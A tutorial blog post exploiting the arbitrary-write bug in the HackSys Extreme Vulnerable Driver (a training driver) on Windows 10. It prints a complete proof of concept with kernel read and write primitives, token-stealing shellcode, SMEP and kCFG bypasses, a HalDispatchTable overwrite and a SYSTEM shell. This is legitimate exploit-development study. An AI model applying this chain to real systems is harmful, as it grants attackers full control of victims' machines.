Hi everyone,
In this blog post, I’m going to explain how to exploit a Write-What-Where vulnerability in the HEVD (HackSys Extreme Vulnerable Driver) in a Windows 10 Pro:
HackSys Extreme Vulnerable Driver
This post will be divided into four parts:
- 1. Driver Installation
- 2. Auxiliary Functions
- 3. Vulnerability Identification & Exploitation
- 4. Protection Bypasses & Shellcode Execution
I won’t go into too much detail in parts 1, 2 and 3 as my focus will be on documenting part 4, which I find the most interesting.
1. Driver Installation
I’m using two different VM’s: the debugger and the debugee. I’m not going to explain here the setup but you can find it easily in many other blog posts.
I’ll briefly explain the driver installation.
1.1 Enable Test Mode
First, on the debugee, we need to enable the Test Mode.
bcdedit /set testsigning on shutdown /r /t 0
After the reboot, you should see something similar to this:

1.2 Driver Installation
Secondly, we install the driver, we will need these two links:
We open OSR Driver Loader, we setup it like this (notice that we are marking the service start as Automatic):

Then we click on “Register Service”, then on “Start Service”.
1.3 Enable HEVD Symbols
Place HEVD folder on the debugee machine!
Then:
.sympath+ C:\HEVD.3.00\driver\vulnerable\x64 .reload /f HEVD.sys
2.0 Auxiliary Functions
2.1 Find NT base address
Before exploiting the vulnerability, we are going to need a couple of things, first to identify the kernel NT base address. As I’m going to execute this from a medium integrity level cmd, I can do it using EnumDeviceDrivers function.
// NT BASE LPVOID GetBaseAddr(LPCWSTR drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { WCHAR szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { if (wcscmp(szDrivers, drvname) == 0) { return drivers[i]; } } } } return 0; }
And the call:
printf("[+] Calling EnumDeviceDrivers to find NT base\n"); LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe"); printf("[+] NT base: %p\n", nt_base);
2.2 Driver Handler
The other piece of code that I need is the one that is going to provide a handler to the driver:
// Get a Handle to the HEVD driver HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE), 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hHEVD == INVALID_HANDLE_VALUE) { printf("[-] Failed to get a handle on HEVD!\n"); return -1; } else { printf("[+] Handle on HEVD received!\n"); }
3. Vulnerability Identification & Exploitation
3.1 Reversing
In IDA, I can find this block:

Going up, I can find this information:

So, I identify that the IOCTL that I need to use to reach the ArbitraryWrite is: 0x22200B.
Now that we know the IOCTL, I will quickly check in IDA:
3.2 Source code
But, it’s easier to go directly to the commented source code:
ArbitraryWrite.c

So we need a 0x10 = 16 byte buffer with the following structure:
- [0x0 – 0x7] WHAT we want to write
- [0x8 – 0xF] WHERE we want to write
This is a simplified diagram: (it’s going to be a bit more complex)

3.3 Vulnerability Exploitation
If we think about it, having an arbitrary write also gives us an arbitrary read. This is because we can copy the contents of something we want to read (located in kernel space) to a user-space address that we control and then read it from there.
Let’s start implementing the read, then we move to the write
3.4 Kernel Read
// KERNEL READ ULONGLONG kernel_read(HANDLE hDriver, ULONGLONG where) { // 16-byte buffer layout: // [0x0 - 0x7] Address to read (target_address) // [0x8 - 0xF] Pointer to userland buffer where the kernel will write the value char buf[0x10]; // Initializing buffer with junk memset(buf, 0x41, sizeof(buf)); ULONGLONG result = 0; void* backup = &result; // This is a pointer to the content read DWORD bytesReturned = 0; memcpy(buf, &where, 8); // Address we want to read from memcpy(buf + 8, &backup, 8); // Where to save the result // Execute the driver IOCTL call DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL); return result; }
3.5 Kernel Write
// KERNEL WRITE void kernel_write(HANDLE hDriver, ULONGLONG where, ULONGLONG what) { // 16-byte buffer layout: // [0x0 - 0x7] Ptr to WHAT we want to write // [0x8 - 0xF] WHERE we want to write char buf[0x10]; // Initializing buffer with junk memset(buf, 0x41, sizeof(buf)); DWORD bytesReturned = 0; void* what_ptr = &what; memcpy(buf, &what_ptr, 8); // Ptr to WHAT we want to write memcpy(buf + 8, &where, 8); // WHERE we want to write //ULONGLONG* ptr = (ULONGLONG*)buf; //printf("[DEBUG] WHAT: 0x%016llx\n", ptr[0]); //printf("[DEBUG] WHERE: 0x%016llx\n", ptr[1]); // Execute the driver IOCTL call DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL); }
Then, we have two functions that we can use. Let’s try them in a simple way.
We define where we want to read and write:
ULONGLONG kuser_shared_data = 0xfffff78000000000; ULONGLONG shellcode_addr = 0xfffff78000000000 + 0x800;
We read the address:
ULONGLONG value = kernel_read(hHEVD, shellcode_addr); printf("[+] KUSER_SHARED_DATA content: 0x%016llx\n", value);
Then, we write something into the same address:
kernel_write(hHEVD, shellcode_addr, 0x12345678);
And finnally, we read again, to see if the address content has changed:
value = kernel_read(hHEVD, shellcode_addr); printf("[+] KUSER_SHARED_DATA content: 0x%016llx\n", value);
We execute the piece of code, and we can see that we have read and write succesfully:

4. Protection Bypasses & Shellcode Execution
So let’s recap. At this point, we have a way to read from and write to kernel-space addresses. But how can we use this to gain code execution?
The method I’m going to use is to overwrite nt!HalDispatchTable+0x08 with a ROP gadget that will jump to my shellcode. To trigger that jump, I’ll call nt!NtQueryIntervalProfile.
I’m going to organize it this way:
- 1.Save original values of nt!HalDispatchTable
- 2. Shellcode 1: Restore execution flow
- 3. Shellcode 2: Token Stealing
- 4. Shellcode 3: Auxiliary shellcode – kCFG bypass
- 5. Shellcode Pivot
- 6. PTE modification – SMEP bypass
- 7. Modify HalDispatchTable
- 8. Call NtQueryIntervalProfile
- 9. Restore modified values
- 10. Spawn NT/Authority System shell
4.1 Save original values of nt!HalDispatchTable
I’m going to save two values:
- nt!HalDispatchTable+0x08
- nt!HalDispatchTable+0x10
I’ll use the second one to restore the execution flow after the shellcode finishes, you’ll see how in the next step.
// 1. Save original values for HalDispatchTable // nt!HalDispatchTable+0x08 = nt + 0xc00a68 ULONGLONG hal_dispatch_addr = (ULONGLONG)nt_base + 0xc00a68; ULONGLONG hal_dispatch_original = kernel_read(hHEVD, hal_dispatch_addr); printf("[+] nt!HalDispatchTable+0x08 content: 0x%016llx\n", hal_dispatch_original); ULONGLONG hal_dispatch_original_10 = kernel_read(hHEVD, hal_dispatch_addr+0x08); printf("[+] nt!HalDispatchTable+0x10 content: 0x%016llx\n", hal_dispatch_original_10);
4.2 Shellcode 1: Restore execution flow
As I’m going to use a jump instruction to jump to the shellcode, I can’t finish the shellcode with a return instruction.
So I decided to create this small piece of shellcode that is going to do the following:
- mov rax, original_hal_dispatch_table + 0x10 ;
- jmp rax ;
// 2 Create a piece of shellcode to recover execution flow // mov rax, original_hal_dispatch_table + 0x10 ; // jmp rax ; unsigned char shellcode_recovery[12] = { 0 }; memcpy(shellcode_recovery, "\x48\xB8", 2); memcpy(shellcode_recovery + 2, &hal_dispatch_original_10, 8); memcpy(shellcode_recovery + 10, "\xFF\xE0", 2);
In the next step, you will see how I add this piece of shellcode at the bottom of the main one.
4.3 Shellcode 2: Token Stealing
The purpose of this blog post is not to explain how a token-stealing shellcode works, so I’m going to skip that part.
What I would like to explain is that I removed the final ret instruction from the end of the shellcode. The reason is what I mentioned earlier: since I used a jump instruction to reach the shellcode, there’s no return address to go back to.
I allocated memory with PAGE_EXECUTE_READWRITE permissions and placed my shellcode there, including the shellcode_recovery part at the end.
// 3. SHELLCODE RWX // Token stealing for current PID // xxd.exe -i shellcode.bin unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP Padding 0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xf9, 0x04, 0x75, 0xe6, 0x4c, 0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x4d, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00 // 0xC3 // ret // SHELLCODE RECOVERY WILL BE ADDED HERE !!! }; unsigned int shellcode_len = sizeof(shellcode) + sizeof(shellcode_recovery); PVOID executableShellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Copy main shellcode RtlMoveMemory(executableShellcode, shellcode, sizeof(shellcode)); // Copy shellcode recovery RtlMoveMemory((PBYTE)executableShellcode + sizeof(shellcode), shellcode_recovery, sizeof(shellcode_recovery)); printf("[+] Shellcode allocated in: 0x%llx\n", (ULONGLONG)executableShellcode);
4.4 Shellcode 3: Auxiliary shellcode – kCFG bypass
There’s a protection called Kernel Control Flow Guard. If we overwrite the HalDispatchTable with a pointer to our shellcode directly, this protection will be triggered and will prevent execution.
The first thing I had to do was understand which registers are preserved when calling nt!NtQueryIntervalProfile.
To figure this out, I set a couple of breakpoints:
ba e1 /p X nt!NtQueryIntervalProfile ba e1 /p X nt+0x980e4d
After hitting the first breakpoint, I wrote specific values to all the general-purpose registers:
r rax=4141414141414141 r rbx=4242424242424242 r rsi=4343434343434343 r rdi=4444444444444444 r r8=4545454545454545 r r9=4646464646464646 r r10=4747474747474747 r r11=4848484848484848 r r12=4949494949494949 r r13=5050505050505050 r r14=5151515151515151 r r15=5252525252525252
Then, when I hit the second breakpoint, I verified that the registers still contained the values I had set.
One of the registers I can control is R13. So, I can write a shellcode that does the following:
- mov r13, rcx ;
Then, I execute my shellcode by passing the address of my main shellcode as the first parameter (in RCX).
When I call nt!NtQueryIntervalProfile, my shellcode will store the value of RCX into R13, meaning the address of my main shellcode will now be available in R13.
// 4. AUXILIARY SHELLCODE // SetR13.asm // mov r13, rcx unsigned char rawSetR13[] = { 0x49, 0x89, 0xcd, 0xc3 }; PVOID executableSetR13 = VirtualAlloc(NULL, sizeof(rawSetR13), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlMoveMemory(executableSetR13, rawSetR13, sizeof(rawSetR13)); printf("[>] Set R13reg allocated in: %p\n", executableSetR13);
And this is the call that I will use later, just before nt!NtQueryIntervalProfile:
((void (*)(PVOID))executableSetR13)(executableShellcode);
4.5 Shellcode Pivot
As I have my shellcode in R13, I just have to do the following:
ULONGLONG shellcode_pivot = (ULONGLONG)nt_base + 0x8033a0; // 0x1408033a0: jmp r13 ;
4.6 PTE modification – SMEP bypass
A PTE (Page Table Entry) is a structure used by the operating system’s memory manager to map virtual addresses to physical memory. Each PTE contains information such as the physical address of the page, access permissions (read, write, execute), and control flags.
One of these control flags is the U/S bit, which can be set to either U (User) or K (Kernel). If our page is marked as User, we can’t execute it from kernel mode, because the call originates from kernel-space, and this will be blocked by SMEP (Supervisor Mode Execution Prevention).
To bypass this protection, we need to modify the U/S bit and change it from User to Kernel.
First of all, we have this function to calculate the PTE address associated with a given memory address. It’s a mathematical calculation:
// PTE CALCULATION ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG pte_va = address >> 9; pte_va = pte_va | pte_start; pte_va = pte_va & (pte_start + 0x0000007ffffffff8); return pte_va; }
And we need to find the PTE base, is in this offset:
// 6. CALCULATE AND MODIFY PTE // PTE Base = nt!MiGetPteAddress + 0x13 ULONGLONG pte_base_address = (ULONGLONG)nt_base + 0x33273b; // Read PTE Base ULONGLONG pte_base = kernel_read(hHEVD, pte_base_address); printf("[+] PTE base: 0x%016llx\n", pte_base); // Calculate Shellcode PTE LONGLONG shellcode_pte_address = get_pte_address_64(ULONGLONG(executableShellcode), pte_base); printf("[+] Shellcode PTE: %llx\n", shellcode_pte_address);
Then, we need to read the PTE value, and modify it:
// Read Shellcode PTE ULONGLONG shellcode_original_pte = kernel_read(hHEVD, shellcode_pte_address); printf("[+] Shellcode PTE flags: 0x%016llx\n", shellcode_original_pte); // Calculate new PTE flags ULONGLONG shellcode_mod_pte = shellcode_original_pte & ~0x4; // U/S (bit 2) //shellcode_mod_pte &= ~(1ULL << 63); // NX (bit 63) printf("[+] U/S and NX changed: %llx\n", shellcode_mod_pte); // Modify Shellcode PTE printf("[+] Writing Shellcode PTE new flags\n"); kernel_write(hHEVD, shellcode_pte_address, shellcode_mod_pte);
Let’s see how ithe PTE associated to our shellcode allocated memory address looks before the change:


And will look like this after the change:


4.7 Modify HalDispatchTable
With the SMEP protection bypassed, we are ready to continue. The next step is to modify the HalDispatchTable with our shellcode pivot gadget.
// 7. MODIFY HALDISPATCHTABLE kernel_write(hHEVD, hal_dispatch_addr, shellcode_pivot);
4.8 Call NtQueryIntervalProfile
With this piece of code we can call NtQueryIntervalProfile:
// 8. CALL TO NTQUERYINTERVALPROFILE // Call nt!NtQueryIntervalProfile that will trigger what we placed in nt!HalDispatchTable+0x08 Sleep(1500); // Locating nt!NtQueryIntervalProfile NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress( GetModuleHandle( TEXT("ntdll.dll")), "NtQueryIntervalProfile" ); // Error handling if (!NtQueryIntervalProfile) { printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError()); exit(1); } else { // Print update for found ntdll!NtQueryIntervalProfile printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile); printf("[+] Calling ntdll!NtQueryIntervalProfile!!!!!\n"); printf("[>] Executing shellcode\n"); printf("[>] Press ENTER to continue...\n"); getchar(); printf("[+] Calling ntdll!NtQueryIntervalProfile!!!!!\n"); Sleep(2000); // Calling nt!NtQueryIntervalProfile ULONG exploit = 0; // This function calls our small shellcode to bypass kCFG // We do a mov r13, rcx // As RCX is our shellcode because it's our first parameter, we will save it to R13 // Then we can put a JMP R13 as our "stack pivot" in nt!HalDispatchTable+0x08 ((void (*)(PVOID))executableSetR13)(executableShellcode); // Reach nt!HalDispatchTable+0x08 NtQueryIntervalProfile( 0x1234, &exploit ); }
Notice, that just before the call, I call the auxiliary shellcode that is going to place our shellcode address in R13.
((void (*)(PVOID))executableSetR13)(executableShellcode); NtQueryIntervalProfile(0x1234, &exploit);
4.9 Restore modified values
When our shellcode returns, we still need to restore a couple of things to prevent a more than possible BSOD.
// 9. RESTORE // Shellcode PTE restore printf("[+] Restoring Shellcode PTE flags\n"); kernel_write(hHEVD, shellcode_pte_address, shellcode_original_pte); // Restore HalDispatchTable printf("[+] Restoring HalDispatchTable\n"); kernel_write(hHEVD, hal_dispatch_addr, hal_dispatch_original);
Spawn NT/Authority System shell
And the last thing, we have to do, is to open a new cmd.exe that is going to use the system token that we have stolen 🙂
system("start cmd.exe");

Below you can find the final code for the whole PoC. See you soon, and Happy Hacking!
#include <iostream> #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <Psapi.h> // I/O Request Packets (IRPs) #define IOCTL_STACK_BUFFER_OVERFLOW 0x222003 #define IOCTL_ARBITRARY_WRITE 0x22200B // Buffer Length #define BUFFER_SIZE 3000 // Structure needed to call nt!NtQueryIntervalProfile typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); extern "C" void KernelShellcode(); // NT BASE LPVOID GetBaseAddr(LPCWSTR drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { WCHAR szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { if (wcscmp(szDrivers, drvname) == 0) { return drivers[i]; } } } } return 0; } // KERNEL READ ULONGLONG kernel_read(HANDLE hDriver, ULONGLONG where) { // 16-byte buffer layout: // [0x0 - 0x7] Address to read (target_address) // [0x8 - 0xF] Pointer to userland buffer where the kernel will write the value char buf[0x10]; // Initializing buffer with junk to satisfy type error of memset memset(buf, 0x41, sizeof(buf)); ULONGLONG result = 0; void* backup = &result; // This is a pointer to the content read DWORD bytesReturned = 0; memcpy(buf, &where, 8); // Address we want to read from memcpy(buf + 8, &backup, 8); // Where to save the result // Execute the driver IOCTL call DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL); return result; } // KERNEL WRITE void kernel_write(HANDLE hDriver, ULONGLONG where, ULONGLONG what) { // 16-byte buffer layout: // [0x0 - 0x7] Ptr to WHAT we want to write // [0x8 - 0xF] WHERE we want to write char buf[0x10]; // Initializing buffer with junk to satisfy type error of memset memset(buf, 0x41, sizeof(buf)); DWORD bytesReturned = 0; void* what_ptr = &what; memcpy(buf, &what_ptr, 8); // Ptr to WHAT we want to write memcpy(buf + 8, &where, 8); // WHERE we want to write //ULONGLONG* ptr = (ULONGLONG*)buf; //printf("[DEBUG] WHAT: 0x%016llx\n", ptr[0]); //printf("[DEBUG] WHERE: 0x%016llx\n", ptr[1]); // Execute the driver IOCTL call DeviceIoControl(hDriver, IOCTL_ARBITRARY_WRITE, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL); } // PTE CALCULATION ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG pte_va = address >> 9; pte_va = pte_va | pte_start; pte_va = pte_va & (pte_start + 0x0000007ffffffff8); return pte_va; } int main() { printf("[+] Calling EnumDeviceDrivers to find NT base\n"); LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe"); printf("[+] NT base: %p\n", nt_base); // Get a Handle to the HEVD driver HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE), 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hHEVD == INVALID_HANDLE_VALUE) { printf("[-] Failed to get a handle on HEVD!\n"); return -1; } else { printf("[+] Handle on HEVD received!\n"); } // 1. Save original values for HalDispatchTable // nt!HalDispatchTable+0x08 = nt + 0xc00a68 ULONGLONG hal_dispatch_addr = (ULONGLONG)nt_base + 0xc00a68; ULONGLONG hal_dispatch_original = kernel_read(hHEVD, hal_dispatch_addr); printf("[+] nt!HalDispatchTable+0x08 content: 0x%016llx\n", hal_dispatch_original); ULONGLONG hal_dispatch_original_10 = kernel_read(hHEVD, hal_dispatch_addr+0x08); printf("[+] nt!HalDispatchTable+0x10 content: 0x%016llx\n", hal_dispatch_original_10); // 2 Create a piece of shellcode to recover execution flow // mov rax, original_hal_dispatch_table + 0x10 ; // jmp rax ; unsigned char shellcode_recovery[12] = { 0 }; memcpy(shellcode_recovery, "\x48\xB8", 2); memcpy(shellcode_recovery + 2, &hal_dispatch_original_10, 8); memcpy(shellcode_recovery + 10, "\xFF\xE0", 2); // 3. SHELLCODE RWX // Token stealing for current PID // xxd.exe -i shellcode.bin unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP Padding 0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xf9, 0x04, 0x75, 0xe6, 0x4c, 0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x4d, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00 // 0xC3 // ret // SHELLCODE RECOVERY WILL BE ADDED HERE !!! }; unsigned int shellcode_len = sizeof(shellcode) + sizeof(shellcode_recovery); PVOID executableShellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Copy main shellcode RtlMoveMemory(executableShellcode, shellcode, sizeof(shellcode)); // Copy shellcode recovery RtlMoveMemory((PBYTE)executableShellcode + sizeof(shellcode), shellcode_recovery, sizeof(shellcode_recovery)); printf("[+] Shellcode allocated in: 0x%llx\n", (ULONGLONG)executableShellcode); // 4. AUXILIARY SHELLCODE // SetR13.asm // mov r13, rcx unsigned char rawSetR13[] = { 0x49, 0x89, 0xcd, 0xc3 }; PVOID executableSetR13 = VirtualAlloc(NULL, sizeof(rawSetR13), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlMoveMemory(executableSetR13, rawSetR13, sizeof(rawSetR13)); printf("[>] Set R13reg allocated in: %p\n", executableSetR13); // 5. SHELLCODE PIVOT ULONGLONG shellcode_pivot = (ULONGLONG)nt_base + 0x8033a0; // 0x1408033a0: jmp r13 ; printf("[>] Press ENTER to continue...\n"); getchar(); // 6. CALCULATE AND MODIFY PTE // PTE Base = nt!MiGetPteAddress + 0x13 ULONGLONG pte_base_address = (ULONGLONG)nt_base + 0x33273b; // Read PTE Base ULONGLONG pte_base = kernel_read(hHEVD, pte_base_address); printf("[+] PTE base: 0x%016llx\n", pte_base); // Calculate Shellcode PTE LONGLONG shellcode_pte_address = get_pte_address_64(ULONGLONG(executableShellcode), pte_base); printf("[+] Shellcode PTE: %llx\n", shellcode_pte_address); // Read Shellcode PTE ULONGLONG shellcode_original_pte = kernel_read(hHEVD, shellcode_pte_address); printf("[+] Shellcode PTE flags: 0x%016llx\n", shellcode_original_pte); // Calculate new PTE flags ULONGLONG shellcode_mod_pte = shellcode_original_pte & ~0x4; // U/S (bit 2) //shellcode_mod_pte &= ~(1ULL << 63); // NX (bit 63) printf("[+] U/S and NX changed: %llx\n", shellcode_mod_pte); // Modify Shellcode PTE printf("[+] Writing Shellcode PTE new flags\n"); kernel_write(hHEVD, shellcode_pte_address, shellcode_mod_pte); // 7. MODIFY HALDISPATCHTABLE kernel_write(hHEVD, hal_dispatch_addr, shellcode_pivot); // 8. CALL TO NTQUERYINTERVALPROFILE // Call nt!NtQueryIntervalProfile that will trigger what we placed in nt!HalDispatchTable+0x08 Sleep(1500); // Locating nt!NtQueryIntervalProfile NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress( GetModuleHandle( TEXT("ntdll.dll")), "NtQueryIntervalProfile" ); // Error handling if (!NtQueryIntervalProfile) { printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError()); exit(1); } else { // Print update for found ntdll!NtQueryIntervalProfile printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile); printf("[+] Calling ntdll!NtQueryIntervalProfile!!!!!\n"); printf("[>] Executing shellcode\n"); printf("[>] Press ENTER to continue...\n"); getchar(); printf("[+] Calling ntdll!NtQueryIntervalProfile!!!!!\n"); Sleep(2000); // Calling nt!NtQueryIntervalProfile ULONG exploit = 0; // This function calls our small shellcode to bypass kCFG // We do a mov r13, rcx // As RCX is our shellcode because it's our first parameter, we will save it to R13 // Then we can put a JMP R13 as our "stack pivot" in nt!HalDispatchTable+0x08 ((void (*)(PVOID))executableSetR13)(executableShellcode); // Reach nt!HalDispatchTable+0x08 NtQueryIntervalProfile( 0x1234, &exploit ); } // 9. RESTORE // Shellcode PTE restore printf("[+] Restoring Shellcode PTE flags\n"); kernel_write(hHEVD, shellcode_pte_address, shellcode_original_pte); // Restore HalDispatchTable printf("[+] Restoring HalDispatchTable\n"); kernel_write(hHEVD, hal_dispatch_addr, hal_dispatch_original); system("start cmd.exe"); return 0; }